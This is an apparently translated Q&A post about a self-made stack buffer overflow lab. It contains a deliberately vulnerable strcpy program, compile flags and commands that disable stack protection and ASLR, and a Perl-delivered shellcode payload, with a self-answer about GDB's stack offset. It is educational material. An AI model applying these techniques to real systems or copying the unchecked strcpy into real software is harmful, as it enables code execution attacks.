Stack buffer overflow: works on GDB, does not go beyond it

I read that Stack is located Buffer Overflows a long time ago, but decided to create a virtual machine and actually see them in practice.

The following code was a vulnerable program:

#include<string.h> void go(char *data){ char name[64]; strcpy(name, data); } int main(int argc, char **argv){ go(argv[1]); } 

It was compiled using the -zexecstack and -fno-stack-protector options in GCC, so that both allow code execution on the stack and disable the built-in protection against program overflow (value "canary").

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

Then I used GDB to find out the position of the name cell on the stack and found the following address: 0x7fffffffdc10

Since my virtual machine has the latest version of Linux, I had to disable ASLR (randomization of the address space layout) by running: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" or sudo sysctl -w kernel.randomize_va_space=0 .

The shellcode was taken from an article I found on the Internet about Stack Smashing, and was loaded into the program through a Perl script:

 perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"' 

Being the first 45 bytes of shellcode (presumably to write β€œHax!” On the screen), some extra 27 β€œA” bytes to get the pointer in the correct position and finally the starting address of the payload at the small end.

The problem is this:

When starting a program in GDB via:

 gdb vuln >run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

I can run shellcode and "Hax!" exit.

When trying to run a program outside of GDB, for example

 ./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

I get an Illegal instruction (core dumped) error instead of "Hax!" . exit.

I banged my head, trying to figure out what was the reason for this different behavior. GDB seems to disable ASLR by default, however I also disabled it via sysctl in the kernel. Can the kernel ignore the kernel.randomize_va_space variable? Or maybe the memory address is different, even if it's static, on GDB and on the real process? Or maybe the real process actually launches the shellcode, but is something wrong with the real process that GDB ignores / bypasses?

Any ideas on what could be causing?

+7
c stack-overflow aslr
source share
1 answer

After reading this answer ( fooobar.com/questions/187771 / ... ) I changed something in my attempts to execute a stack buffer overflow.

First, I used a clear environment, as suggested in the answer above ( env -i ), both on GDB tests and on ordinary binary tests. In GDB, I had to additionally run the unset env LINES and unset env COLUMNS commands to completely clear the GDB environment.

Secondly, I used the full path to the executable so that the variable argv[0] was the same for both tests, without affecting the Payload address.

Even after these steps, I could still get into the payload in the GDB version. Therefore, I made a "debug" version of the code where I would print the payload memory addresses (which would be the address of the "name" array on the "go" function) and the addresses argv[0] and argv[1] . The final code is below:

 #include<string.h> void go(char *data){ char name[64]; printf("Name: %p\n",name); strcpy(name, data); } int main(int argc, char **argv){ printf("Argv[0]: %p\n",argv[0]); printf("Argv[1]: %p\n",argv[1]); go(argv[1]); } 

I know that I should have explicitly included stdio.h (my bad!). I don’t know if #include<stdio.h> will add anything to memory addresses (don’t think so, because it is a call to the processor, which probably also the compiler calls the same path, but after all the debugging that I made "I do not want to take risks, to do it again, if the program still works).

In any case, I noticed that the addresses were slightly different in the GDB tests and on the regular test. To be more specific, the payload address had an offset of + 0x40 (64 bytes). Changing the Perl script to actually push this address was enough to make it work outside of GDB.

I'm still not sure what might be different on the stack, but the thing is that the exact addresses do not match on both tests. If anyone knows what those extra 64 bytes in GDBs tests might be, I will be happy to add it to my answer!

0
source share

All Articles